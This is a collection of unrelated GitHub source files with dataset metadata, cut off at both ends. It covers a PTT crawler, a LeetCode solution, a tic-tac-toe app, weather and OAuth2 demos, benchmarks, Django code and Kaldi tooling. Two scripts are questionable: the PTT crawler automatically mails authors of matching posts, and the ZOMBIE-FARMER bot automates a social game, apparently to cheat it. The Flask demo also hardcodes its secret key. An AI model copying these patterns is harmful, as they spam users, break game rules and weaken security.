篇文章')\n elif Test:\n RecheckPost = 1000\n LastIndex = NewestIndex - RecheckPost\n PTTCrawler.Log('測試過去 ' + str(RecheckPost) + ' 篇文章')\n \n ErrorCode, LastIndexList = PTTCrawler.getNewPostIndexList(Board, LastIndex)\n if ErrorCode != PTTCrawler.Success:\n PTTCrawler.Log('Get newest list error: ' + str(ErrorCode))\n time.sleep(1)\n continue\n \n if not len(LastIndexList) == 0:\n #PTTCrawler.Log('偵測到 ' + str(len(LastIndexList)) + ' 篇新文章')\n for NewPostIndex in LastIndexList:\n #PTTCrawler.Log('檢查文章編號 ' + str(NewPostIndex))\n \n ErrorCode, NewPost = PTTCrawler.getPostInfoByIndex(Board, NewPostIndex)\n if ErrorCode == PTTCrawler.PostDeleted:\n #PTTCrawler.Log('文章編號 ' + str(NewPostIndex) + ' 已經被刪除')\n continue\n if ErrorCode != PTTCrawler.Success:\n #PTTCrawler.Log('文章編號 ' + str(NewPostIndex) + ' 取得錯誤')\n continue\n if NewPost == None:\n PTTCrawler.Log('Post is empty')\n continue\n \n if not NewPost == None:\n #Special condition\n if MagicianTerminatorCondition.needStore(NewPost):\n \n PostAuthor = NewPost.getPostAuthor()\n PostAuthor = PostAuthor[:PostAuthor.find(' (')]\n \n PTTCrawler.Log('賓果! ' + Board + ' ' + str(NewPostIndex) + ' ' + PostAuthor)\n \n if not PostAuthor in MailList:\n \n #PTTCrawler.Log('========== 寄信給 ' + PostAuthor + ' ==========')\n MailList.append(PostAuthor)\n \n if not Test:\n \n ErrorCode = PTTCrawler.replyPost(Board, Content, PTTCrawler.ReplyPost_Mail, Index=NewPostIndex)\n if ErrorCode == PTTCrawler.Success:\n PTTCrawler.Log('回文至信箱成功!')\n with open('MailList.txt', 'a') as MailListFile:\n MailListFile.write(PostAuthor + '\\n')\n else:\n PTTCrawler.Log('回文至信箱失敗 ' + str(ErrorCode))\n else:\n PTTCrawler.Log('寄過信了! ' + PostAuthor)\n '''\n f = open(str(NewPostIndex) + '_' + NewPost.getPostID() + '.html', 'w', encoding = 'UTF-8')\n f.write('<html><HEAD>')\n f.write('<script language=\\\"javascript\\\">window.location.href = \\\"' + NewPost.getWebUrl() + '\\\";</script>')\n f.write('<TITLE>Truth\\'s PTT Crawler')\n f.close()\n '''\n \n f = open(str(NewPostIndex) + '_' + NewPost.getPostID() + '.txt', 'w', encoding = 'UTF-8')\n f.write(NewPost.getPostContent())\n f.close()\n \n f = open('LastPostIndex.txt', 'w')\n f.write(str(NewPostIndex))\n f.close()\n \n if Test:\n PTTCrawler.Log('測試完畢')\n break\n \n else:\n Log(Board + ' ' + str(LastIndex) + ' 偵測中...', '\\r')\n time.sleep(5)\n except KeyboardInterrupt:\n '''\n exc_info = sys.exc_info()\n traceback.print_exception(*exc_info)\n '''\n PTTCrawler.Log('Interrupted by user')\n PTTCrawler.logout()\n Retry = False\n break\n except EOFError:\n exc_info = sys.exc_info()\n traceback.print_exception(*exc_info)\n Retry = True\n break\n except ConnectionAbortedError:\n Retry = True\n break\n except Exception:\n exc_info = sys.exc_info()\n traceback.print_exception(*exc_info)\n Retry = True\n break", "repo_name": "Truth1987/MagicianTerminator", "sub_path": "MagicianTerminator.py", "file_name": "MagicianTerminator.py", "file_ext": "py", "file_size_in_byte": 7515, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.append", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 21, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 30, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 31, "usage_type": "attribute"}, {"api_name": "PTT.Crawler", "line_number": 33, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.path.exists", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 60, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 104, "usage_type": "call"}, {"api_name": "MagicianTerminatorCondition.needStore", "line_number": 125, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 170, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 181, "usage_type": "call"}, {"api_name": "traceback.print_exception", "line_number": 182, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 189, "usage_type": "call"}, {"api_name": "traceback.print_exception", "line_number": 190, "usage_type": "call"}]} {"seq_id": "24584721593", "text": "import collections\n\nclass Solution:\n def minDeletions(self, s: str) -> int:\n letter_count = collections.Counter(s)\n used = set()\n res = 0\n\n for letter, freq in letter_count.items():\n while freq > 0 and freq in used:\n freq -= 1\n res += 1\n used.add(freq)\n \n return res\n\n # def minDeletions(self, s: str) -> int:\n # letter_freq = [0] * 26\n # res = 0\n \n # for letter in s:\n # letter_freq[ord(letter) - ord('a')] += 1\n \n # letter_freq.sort(reverse=True)\n\n # for index in range(len(letter_freq)):\n # while letter_freq.count(letter_freq[index]) > 1 and letter_freq[index] != 0:\n # letter_freq[index] -= 1\n # res += 1\n \n # return res\n\n\n # def minDeletions(self, s: str) -> int:\n # letter_count = collections.Counter(s)\n # letter_freq = [[] for _ in range(s.count(max(s, key=s.count)) + 1)]\n\n # for letter in letter_count:\n # letter_freq[letter_count[letter]].append(letter)\n \n # store = []\n # res = 0\n\n # for index in range(len(letter_freq) - 1, -1, -1):\n # if not letter_freq[index] and store:\n # res += store.pop() - index\n # elif len(letter_freq[index]) > 1:\n # store.extend([index] * (len(letter_freq[index]) - 1))\n \n # return sum([res] + store)\n\n\ndef main():\n sol = Solution()\n print(sol.minDeletions(\"qwertyuiop\"))\n print(sol.minDeletions(\"aab\"))\n print(sol.minDeletions(\"aaabbbcc\"))\n print(sol.minDeletions(\"ceabaacb\"))\n\nif __name__ == '__main__':\n main()", "repo_name": "brandoneng000/LeetCode", "sub_path": "medium/1647.py", "file_name": "1647.py", "file_ext": "py", "file_size_in_byte": 1716, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.Counter", "line_number": 5, "usage_type": "call"}]} {"seq_id": "6721930007", "text": "from kivy.app import App\nfrom kivy.uix.gridlayout import GridLayout\nfrom kivy.uix.label import Label\nfrom kivy.properties import ObjectProperty\nfrom kivy.uix.popup import Popup\nfrom kivy.uix.floatlayout import FloatLayout\nimport time\n\narray = [-1]*9\nprint(array[1])\nsymbol = 'x'\n\ndef change():\n global symbol\n if symbol == 'x':\n symbol = 'o'\n elif symbol == 'o':\n symbol = 'x'\n\ndef check_duplicate(num):\n global symbol\n if array[num-1] == -1:\n array[num-1] = symbol\n return False\n else:\n print(array[num-1])\n return True\n\ndef check_win():\n #horizontal\n for x in range (0,9,3):\n win = True\n for y in range (3):\n if array[x+y] != symbol:\n win = False\n if win == True:\n return True\n #vertical\n for y in range (3):\n win = True\n for x in range (3):\n if array[3*x+y] != symbol:\n win = False\n if win == True:\n return True\n\n #diagonal\n if array[0] == array[4] == array[8] == symbol:\n return True\n elif array[2] == array[4] == array[6] == symbol:\n return True\n \n return False\n\ndef show_popup():\n pop = Popup(title='Winner', content=Label(text=''), auto_dismiss=False)\n winner = \"\"\n if symbol == 'x':\n winner = \"player 1 with symbol: x wins\"\n else:\n winner = \"player 2 with symbol: o wins\"\n pop.content.text = winner\n pop.open()\n\n\nclass MyTTT(GridLayout):\n global array, symbol\n\n pass\n\n turns = 0\n\n turn1 = ObjectProperty(None)\n turn2 = ObjectProperty(None)\n\n def update_button_text(self, num):\n self.children[9-num].text = str(symbol)\n\n def turn(self):\n if self.turns%2==1:\n self.turn1.text = \"Wait\"\n self.turn2.text = \"Go\"\n else:\n self.turn1.text = \"Go\"\n self.turn2.text = \"Wait\"\n \n def onClick(self, num):\n global array, symbol\n print(\"hello {}\".format(num))\n duplicate = check_duplicate(num)\n print (duplicate)\n if not duplicate:\n self.turns +=1\n self.update_button_text(num)\n self.turn()\n win = check_win()\n # self.b1.text = symbol\n print (win)\n if win:\n time.sleep(1)\n array = [-1]*9\n show_popup()\n change()\n\nclass TicTacToe(App):\n def build(self):\n return MyTTT()\n \n\nif __name__ == \"__main__\":\n TicTacToe().run()\n", "repo_name": "rs221b/kivy-tic-tac-toe", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2534, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "kivy.uix.popup.Popup", "line_number": 56, "usage_type": "call"}, {"api_name": "kivy.uix.label.Label", "line_number": 56, "usage_type": "call"}, {"api_name": "kivy.uix.gridlayout.GridLayout", "line_number": 66, "usage_type": "name"}, {"api_name": "kivy.properties.ObjectProperty", "line_number": 73, "usage_type": "call"}, {"api_name": "kivy.properties.ObjectProperty", "line_number": 74, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 100, "usage_type": "call"}, {"api_name": "kivy.app.App", "line_number": 105, "usage_type": "name"}]} {"seq_id": "5376034237", "text": "# -*- coding: utf-8 -*-\n\n\"\"\"\n\nCollection of the core functions needed to communicate with the geoserver.\n\nThe geoserver is operated by the Deutscher Wetterdienst (DWD).\nhttps://maps.dwd.de\n\n\"\"\"\n\nimport urllib.parse\nimport requests\n\nDEFAULT_WFS_VERSION = \"2.0.0\"\nDEFAULT_WFS_REQUEST = \"GetFeature\"\nDEFAULT_WFS_OUTPUTFORMAT = \"application/json\"\n\n\ndef query_dwd(**kwargs):\n \"\"\"Retrive data from DWD server.\"\"\"\n # Make all keys lowercase and escape all values\n kwargs = {k.lower(): urllib.parse.quote(v) for k, v in kwargs.items()}\n\n # Build the query\n query = \"https://maps.dwd.de/geoserver/dwd/ows?service=WFS\"\n if \"version\" in kwargs:\n query += f\"&version={kwargs['version']}\"\n else:\n query += f\"&version={DEFAULT_WFS_VERSION}\"\n if \"request\" in kwargs:\n query += f\"&request={kwargs['request']}\"\n else:\n query += f\"&request={DEFAULT_WFS_REQUEST}\"\n if \"typename\" in kwargs:\n query += f\"&typeName={kwargs['typename']}\"\n else:\n # Query doesn't make sense without typeName\n return None\n if \"cql_filter\" in kwargs:\n query += f\"&CQL_FILTER={kwargs['cql_filter']}\"\n if \"outputformat\" in kwargs:\n query += f\"&OutputFormat={kwargs['outputformat']}\"\n else:\n query += f\"&OutputFormat={DEFAULT_WFS_OUTPUTFORMAT}\"\n\n # Finally query the dwd geoserver\n try:\n resp = requests.get(query)\n if resp.status_code != 200:\n return None\n return resp.json()\n except: # pylint: disable=bare-except # noqa: E722\n return None\n", "repo_name": "stephan192/dwdwfsapi", "sub_path": "dwdwfsapi/core.py", "file_name": "core.py", "file_ext": "py", "file_size_in_byte": 1557, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "71", "api": [{"api_name": "urllib.parse.parse.quote", "line_number": 23, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 23, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 23, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 49, "usage_type": "call"}]} {"seq_id": "4181910868", "text": "import json\nfrom flask import (Flask, redirect, url_for,\n request, session, render_template)\nfrom requests_oauthlib import OAuth2Session\nimport requests\nfrom urllib import parse\nfrom datetime import datetime\n\nimport configuration as cfg\nimport utils\n\napp = Flask(__name__)\napp.secret_key = \"keep this secret\"\n\n\n\n@app.route('/login', methods=['GET'])\ndef login():\n provider = OAuth2Session(\n client_id=cfg.CONFIG['client_id'],\n scope=cfg.CONFIG['scope'],\n redirect_uri=cfg.CONFIG['redirect_uri'])\n url, state = provider.authorization_url(cfg.CONFIG['auth_url'])\n # print(f\"url: {url}\\nstate: {state}\")\n session['oauth2_state'] = state\n return redirect(url)\n\n@app.route('/callback', methods=['GET'])\ndef callback():\n provider = OAuth2Session(cfg.CONFIG['client_id'],\n redirect_uri=cfg.CONFIG['redirect_uri'],\n state=session['oauth2_state'])\n # print(f\"request.url= {request.url}\")\n qparams = parse.parse_qs(parse.urlparse(request.url).query)\n session['code'] = qparams['code'][0]\n session['state'] = qparams['state'][0]\n # print(f\"code: {qparams['code'][0]}\")\n # print(f\"state: {qparams['state'][0]}\")\n token_response = provider.fetch_token(\n token_url=cfg.CONFIG['token_url'],\n client_secret=cfg.CONFIG['client_secret'],\n authorization_response=request.url)\n\n session['access_token'] = token_response['access_token']\n expires_date = datetime.utcfromtimestamp(token_response['expires_at']).strftime('%Y-%m-%d %H:%M:%S')\n session['access_token_expires'] = expires_date\n # print(f\"access token: {session['access_token']}\\nexpires at {expires_date}\")\n\n return redirect(url_for('index'))\n\n@app.route('/')\ndef index():\n if 'access_token' not in session:\n return redirect(url_for('login'))\n transfers = requests.get(cfg.CONFIG['task_list_url'],\n headers={'Authorization': 'Bearer ' + session['access_token']})\n\n info_dict = dict(\n code=session['code'],\n access_token=session['access_token'],\n access_token_expires=session['access_token_expires'],\n )\n return render_template('index.html.jinja2',\n idp_provider_url=cfg.CONFIG['idp_provider_url'],\n info=json.dumps(info_dict),\n transfers=str(transfers.json())\n )\n\nif __name__ == '__main__':\n proto, host, port, path = utils.parse_url(cfg.CONFIG['redirect_uri'])\n print(proto, host, port, path)\n\n if proto == \"https\":\n app.run(host=host, port=int(port), debug=True, \n ssl_context=('cert.pem', 'key.pem'))\n else:\n app.run(host=host, port=int(port), debug=True)", "repo_name": "wgong/py4kids", "sub_path": "lesson-65-auth/oauth2/globus/oauth2_login.py", "file_name": "oauth2_login.py", "file_ext": "py", "file_size_in_byte": 2797, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 17, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 12, "usage_type": "call"}, {"api_name": "requests_oauthlib.OAuth2Session", "line_number": 19, "usage_type": "call"}, {"api_name": "configuration.CONFIG", "line_number": 20, "usage_type": "attribute"}, {"api_name": "configuration.CONFIG", "line_number": 21, "usage_type": "attribute"}, {"api_name": "configuration.CONFIG", "line_number": 22, "usage_type": "attribute"}, {"api_name": "configuration.CONFIG", "line_number": 23, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 26, "usage_type": "call"}, {"api_name": "requests_oauthlib.OAuth2Session", "line_number": 30, "usage_type": "call"}, {"api_name": "configuration.CONFIG", "line_number": 30, "usage_type": "attribute"}, {"api_name": "configuration.CONFIG", "line_number": 31, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 32, "usage_type": "name"}, {"api_name": "urllib.parse.parse_qs", "line_number": 34, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 34, "usage_type": "name"}, {"api_name": "urllib.parse.urlparse", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.request.url", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 36, "usage_type": "name"}, {"api_name": "configuration.CONFIG", "line_number": 40, "usage_type": "attribute"}, {"api_name": "configuration.CONFIG", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.request.url", "line_number": 42, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 42, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 44, "usage_type": "name"}, {"api_name": "datetime.datetime.utcfromtimestamp", "line_number": 45, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 45, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 46, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 49, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 49, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 53, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 54, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 54, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 55, "usage_type": "call"}, {"api_name": "configuration.CONFIG", "line_number": 55, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 56, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 59, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 60, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 61, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 63, "usage_type": "call"}, {"api_name": "configuration.CONFIG", "line_number": 64, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 65, "usage_type": "call"}, {"api_name": "utils.parse_url", "line_number": 70, "usage_type": "call"}, {"api_name": "configuration.CONFIG", "line_number": 70, "usage_type": "attribute"}]} {"seq_id": "24320940277", "text": "#! /usr/bin/env python3\nimport subprocess\nimport time\nfrom datetime import datetime, timedelta\nfrom itertools import product\n\n\ndef docker_compose(name, *args):\n cmd = [\"docker-compose\", \"-f\", f\"cfg/{name}.yml\", \"--project-directory\", \".\"]\n cmd.extend(args)\n print(cmd)\n return cmd\n\n\ndef benchmark(num, name):\n subprocess.check_call([\"mkdir\", \"-p\", f\"data/{name}/run{num}\"])\n subprocess.check_call(docker_compose(name, \"up\", \"-d\"))\n start = datetime.now()\n delta = timedelta(minutes=15)\n\n # Loop until termination with a timeout\n while True:\n output = subprocess.check_output(docker_compose(name, \"ps\")).decode(\"utf-8\")\n lines = output.split(\"\\n\")\n lines = [line for line in lines if \"peer\" in line] # Get peers\n if all((\"Exit 0\" in line for line in lines)):\n break\n if datetime.now() - start >= delta:\n print(\"Timeout\")\n break\n time.sleep(5)\n\n # Terminate the simulation in the background\n stop = subprocess.Popen(docker_compose(name, \"stop\"))\n\n # Process log output\n output = subprocess.check_output(docker_compose(name, \"ps\")).decode(\"utf-8\")\n peers = [\n line.split()[0].split(\"_\")[1] for line in output.split(\"\\n\") if \"Exit 0\" in line\n ]\n if \"http\" in name:\n for peer in peers:\n logs = (\n subprocess.check_output(docker_compose(name, \"logs\", peer))\n .decode(\"utf-8\")\n .split(\"\\n\")\n )\n with open(f\"data/{name}/run{num}/{peer}\", \"w\") as f:\n f.write(logs)\n f.flush()\n else:\n for peer in peers:\n logs = \"\\n\".join(\n [\n \",\".join(line.split()[-2:])\n for line in subprocess.check_output(\n docker_compose(name, \"logs\", peer)\n )\n .decode(\"utf-8\")\n .split(\"\\n\")\n if \"Datapoint\" in line\n ]\n )\n with open(f\"data/{name}/run{num}/{peer}.csv\", \"w\") as f:\n f.write(\"index,time\\n\")\n f.write(logs)\n f.flush()\n stop.wait()\n subprocess.check_call(docker_compose(name, \"rm\", \"-fs\"))\n\n\ndef main():\n categories = [\"rarest\", \"http\", \"inorder\", \"bitos\"]\n params = [(3, 3), (2, 4), (1, 5)]\n benchmarks = [\n f\"{category}_p[0]_p[1]\" for category, p in product(categories, params)\n ]\n for i in range(25):\n for name in benchmarks:\n benchmark(i, name)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "ratorx/continuity", "sub_path": "benchmark/benchmark.py", "file_name": "benchmark.py", "file_ext": "py", "file_size_in_byte": 2613, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "subprocess.check_call", "line_number": 16, "usage_type": "call"}, {"api_name": "subprocess.check_call", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 19, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 28, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 28, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 31, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 34, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 37, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 44, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 56, "usage_type": "call"}, {"api_name": "subprocess.check_call", "line_number": 69, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 76, "usage_type": "call"}]} {"seq_id": "1447265030", "text": "from rest_framework import serializers\nfrom .models import User\nclass UserSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = User\n fields = ('pk', 'username', 'profile_pic', 'first_name',\n 'last_name',\n 'bio',\n 'course',\n 'occupation',\n 'year',\n 'reg_no'\n )", "repo_name": "patricechaula/infomate-backend", "sub_path": "users/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 406, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 3, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 3, "usage_type": "name"}, {"api_name": "models.User", "line_number": 6, "usage_type": "name"}]} {"seq_id": "809471412", "text": "import datetime\n\nfrom django.contrib.auth.models import Group\nfrom django.db.models import Q, Sum, Count\n\nfrom common.commands import ExportCommand\nfrom orders.models import Order\nfrom users.models import User\n\n\nclass Command(ExportCommand):\n help = \"Saves buyers in csv format for shopify import\"\n\n def get_queryset(self):\n paid_orders = Q(order__status=Order.STATUSES.get_value(\"paid\"))\n seller_group_id = (\n Group.objects.filter(name=\"buyer\").values_list(\"id\", flat=True).first()\n )\n\n return User.objects.filter(groups=seller_group_id).annotate(\n total_spend=Sum(\"order__total_price\", filter=paid_orders),\n orders_count=Count(\"order\", filter=paid_orders),\n )\n\n def write_header(self, writer):\n writer.writerow(\n [\n \"First Name\",\n \"Last Name\",\n \"Email\",\n \"Company\",\n \"Address1\",\n \"Address2\",\n \"City\",\n \"Province\",\n \"Province Code\",\n \"Country\",\n \"Country Code\",\n \"Zip\",\n \"Phone\",\n \"Accepts Marketing\",\n \"Total Spent\",\n \"Total Orders\",\n \"Tags\",\n \"Note\",\n \"Tax Exempt\",\n ]\n )\n\n def write_row(self, obj, writer):\n if obj.is_cooperative_member:\n tags = \"genossen\"\n else:\n tags = \"\"\n writer.writerow(\n [\n obj.first_name,\n obj.last_name,\n obj.email,\n obj.company_name,\n obj.street,\n \"\",\n obj.city,\n \"\",\n \"\",\n obj.residence_country_code,\n obj.residence_country_code,\n obj.zip,\n obj.phone,\n \"no\",\n obj.total_spend,\n obj.orders_count,\n tags,\n \"\",\n \"\",\n ]\n )\n\n def get_output_file_name(self):\n return f\"buyers_{datetime.datetime.now().strftime('%Y-%m-%d')}.csv\"\n", "repo_name": "stanwood/traidoo-api", "sub_path": "users/management/commands/export_buyers.py", "file_name": "export_buyers.py", "file_ext": "py", "file_size_in_byte": 2221, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "common.commands.ExportCommand", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 15, "usage_type": "call"}, {"api_name": "orders.models.Order.STATUSES.get_value", "line_number": 15, "usage_type": "call"}, {"api_name": "orders.models.Order.STATUSES", "line_number": 15, "usage_type": "attribute"}, {"api_name": "orders.models.Order", "line_number": 15, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.Group.objects.filter", "line_number": 17, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.Group.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.Group", "line_number": 17, "usage_type": "name"}, {"api_name": "users.models.User.objects.filter", "line_number": 20, "usage_type": "call"}, {"api_name": "users.models.User.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "users.models.User", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.Sum", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models.Count", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 80, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 80, "usage_type": "attribute"}]} {"seq_id": "70613863270", "text": "# -*- coding: utf-8 -*-\n\nimport logging\nimport random\nfrom base import RemoteBot\nfrom engine.game_types import GameGetInfo\n\nlogger = logging.getLogger(__name__)\n\n\nclass RemotePlayersBot(RemoteBot):\n\n def __init__(self, game):\n super(RemotePlayersBot, self).__init__(game)\n\n self.remote_scenary = self.get_game().arg_params.get('scenary')\n self.stolen_island = self.get_params().stolen_island\n\n def perform_action(self):\n\n if self.get_game_state().get_players():\n return\n\n logger.info(u'Запрашиваем список соседей')\n friends_list = [unicode(x) for x in self.get_api().friends.getAppUsers()]\n\n if self.remote_scenary in [0, 1]:\n premium_accounts = self.get_params().premium_accounts\n premium_accounts.reverse()\n for premium_account in premium_accounts:\n if premium_account in friends_list:\n index = friends_list.index(premium_account)\n friends_list.pop(index)\n friends_list.insert(0, premium_account)\n\n friends = self.get_friends({u'main': friends_list})\n\n elif self.remote_scenary == 2:\n if self.get_statistic().table_ready:\n if 0 in self.get_game().arg_params.get('dig_priorities'):\n logger.info(u'Применяем фильтр по списку \"Японская коллекция\"')\n friends = self.get_friends(self.get_statistic().get_user_dict(u'JAPAN'))\n elif 14 in self.get_game().arg_params.get('dig_priorities'):\n logger.info(u'Применяем фильтр по списку \"Правая половинка сердца\"')\n friends = self.get_friends(self.get_statistic().get_user_dict(u'VALRIGHT'))\n elif 15 in self.get_game().arg_params.get('dig_priorities'):\n logger.info(u'Применяем фильтр по списку \"Бозон Хиггса\"')\n friends = self.get_friends(self.get_statistic().get_user_dict(u'PLATFORM'))\n else:\n friends = self.get_friends({u'main': friends_list})\n else:\n friends = self.get_friends({u'main': friends_list})\n\n elif self.remote_scenary == 3:\n logger.info(u'Применяем фильтр по списку \"Свободные рыбаки и кладоискатели\"')\n if self.get_statistic().table_ready:\n friends = self.get_friends(self.get_statistic().get_user_island(self.stolen_island, u'FISHER'))\n else:\n friends = self.get_friends({u'main': friends_list})\n elif self.remote_scenary == 4:\n friends = self.get_friends({self.get_params().treasure_location: friends_list})\n elif self.remote_scenary == 5:\n friends = self.get_friends({u'main': friends_list})\n else:\n friends = self.get_friends({u'main': friends_list})\n\n if self.get_params().exclude_players:\n logger.info(u'Исключаем уже пройденных %i соседей' % len(self.get_params().exclude_players))\n friends = [x for x in friends if x not in self.get_params().exclude_players]\n\n logger.info(u'Получаем данные по %i соседям' % len(friends))\n while friends:\n get_info = GameGetInfo(friends[:100])\n self.send_event([get_info])\n friends = friends[100:]\n\n def send_event(self, evt_list):\n evts = self.get_events_sender().send_game_events(evt_list)\n for evt in evts:\n if evt.type == u'playersInfo':\n return True\n self.send_event([])\n\n @staticmethod\n def format_list(user_dict):\n res = {}\n for location in user_dict:\n for user in user_dict[location]:\n res[user] = location\n return res\n\n def get_friends(self, user_list):\n res = self.format_list(user_list)\n self.get_game_state().set_players_location(res)\n\n friends = res.keys()\n return friends\n\n @staticmethod\n def get_offset(friends):\n\n total = len(friends)\n block = 100\n offset = (random.randint(1, len(friends[::block])) - 1) * block\n friends = friends[offset:offset + block]\n logger.info(u'Всего %i игроков. Смещение по списку %i. Партия %i' % (total, offset, block))\n return friends\n", "repo_name": "Cheater-84/ZOMBIE-FARMER", "sub_path": "remote/players.py", "file_name": "players.py", "file_ext": "py", "file_size_in_byte": 4561, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "base.RemoteBot", "line_number": 11, "usage_type": "name"}, {"api_name": "engine.game_types.GameGetInfo", "line_number": 73, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 104, "usage_type": "call"}]} {"seq_id": "2424472088", "text": "import os\nimport logging\nimport tempfile\nimport subprocess\n\nfrom vbdiar.kaldi import nnet3bin_path\nfrom vbdiar.kaldi.utils import write_txt_matrix, read_txt_vectors\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass KaldiXVectorExtraction(object):\n\n def __init__(self, nnet, binary_path=nnet3bin_path, use_gpu=False,\n min_chunk_size=25, chunk_size=10000, cache_capacity=64):\n \"\"\" Initialize Kaldi x-vector extractor.\n\n Args:\n nnet (string_types): path to neural net\n use_gpu (bool):\n min_chunk_size (int):\n chunk_size (int):\n cache_capacity (int):\n \"\"\"\n self.nnet3_xvector_compute = os.path.join(binary_path, 'nnet3-xvector-compute')\n if not os.path.exists(self.nnet3_xvector_compute):\n raise ValueError(\n 'Path to nnet3-xvector-compute - `{}` does not exists.'.format(self.nnet3_xvector_compute))\n self.nnet3_copy = os.path.join(binary_path, 'nnet3-copy')\n if not os.path.exists(self.nnet3_copy):\n raise ValueError(\n 'Path to nnet3-copy - `{}` does not exists.'.format(self.nnet3_copy))\n if not os.path.isfile(nnet):\n raise ValueError('Invalid path to nnet `{}`.'.format(nnet))\n else:\n self.nnet = nnet\n self.binary_path = binary_path\n self.use_gpu = use_gpu\n self.min_chunk_size = min_chunk_size\n self.chunk_size = chunk_size\n self.cache_capacity = cache_capacity\n\n def features2embeddings(self, data_dict):\n \"\"\" Extract x-vector embeddings from feature vectors.\n\n Args:\n data_dict (Dict):\n\n Returns:\n\n \"\"\"\n tmp_data_dict = {}\n for key in data_dict:\n tmp_data_dict[f'{key[0]}_{key[1]}'] = data_dict[key]\n with tempfile.NamedTemporaryFile() as xvec_ark, tempfile.NamedTemporaryFile() as mfcc_ark:\n write_txt_matrix(path=mfcc_ark.name, data_dict=tmp_data_dict)\n\n args = [self.nnet3_xvector_compute,\n '--use-gpu={}'.format('yes' if self.use_gpu else 'no'),\n '--min-chunk-size={}'.format(str(self.min_chunk_size)),\n 